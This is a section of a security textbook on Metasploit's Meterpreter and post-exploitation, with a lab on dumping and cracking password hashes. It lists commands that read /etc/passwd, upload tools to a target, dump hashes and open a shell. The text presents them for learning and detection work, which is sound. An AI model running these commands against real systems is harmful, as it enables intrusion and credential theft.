23. Exploitation with Metasploit
23.5 Meterpreter and Post-Exploitation
For many exploits you can choose the Meterpreter payload – a powerful shell that runs in memory and gives friendly commands. (For the vsftpd backdoor you get a plain shell; use sessions -u 1 to try upgrading it to Meterpreter, or pick a module that supports it.)
meterpreter > sysinfo # OS, hostname, architecture
meterpreter > getuid # which user am I
meterpreter > pwd / ls / cd # move around the filesystem
meterpreter > download /etc/passwd # copy a file to Kali
meterpreter > upload tool.sh /tmp/ # copy a file to the target
meterpreter > hashdump # dump password hashes (feeds Chapter 22)
meterpreter > shell # drop to a normal OS shell
meterpreter > help # full command list
Post-exploitation is what an attacker does after access: gather information, dump hashes, look for other machines. Defensively, this is what you must be able to detect and prevent – it is the whole point of Part 11 (SOC and incident response).
Ravindra Bagale's Tip
Meterpreter memory madhe chalto, disk var file thevat nahi – mhanun to detect karayla antivirus la kathin jato. Pan network madhe to disto: unusual outbound connection. SOC madhe he shikaycha aahe – disk peksha network aani logs bagha.
Lab
On a module that supports Meterpreter (or after upgrading the session), run sysinfo, getuid and hashdump. Take the dumped hashes and crack them with John from Chapter 22 – see how the tools chain together.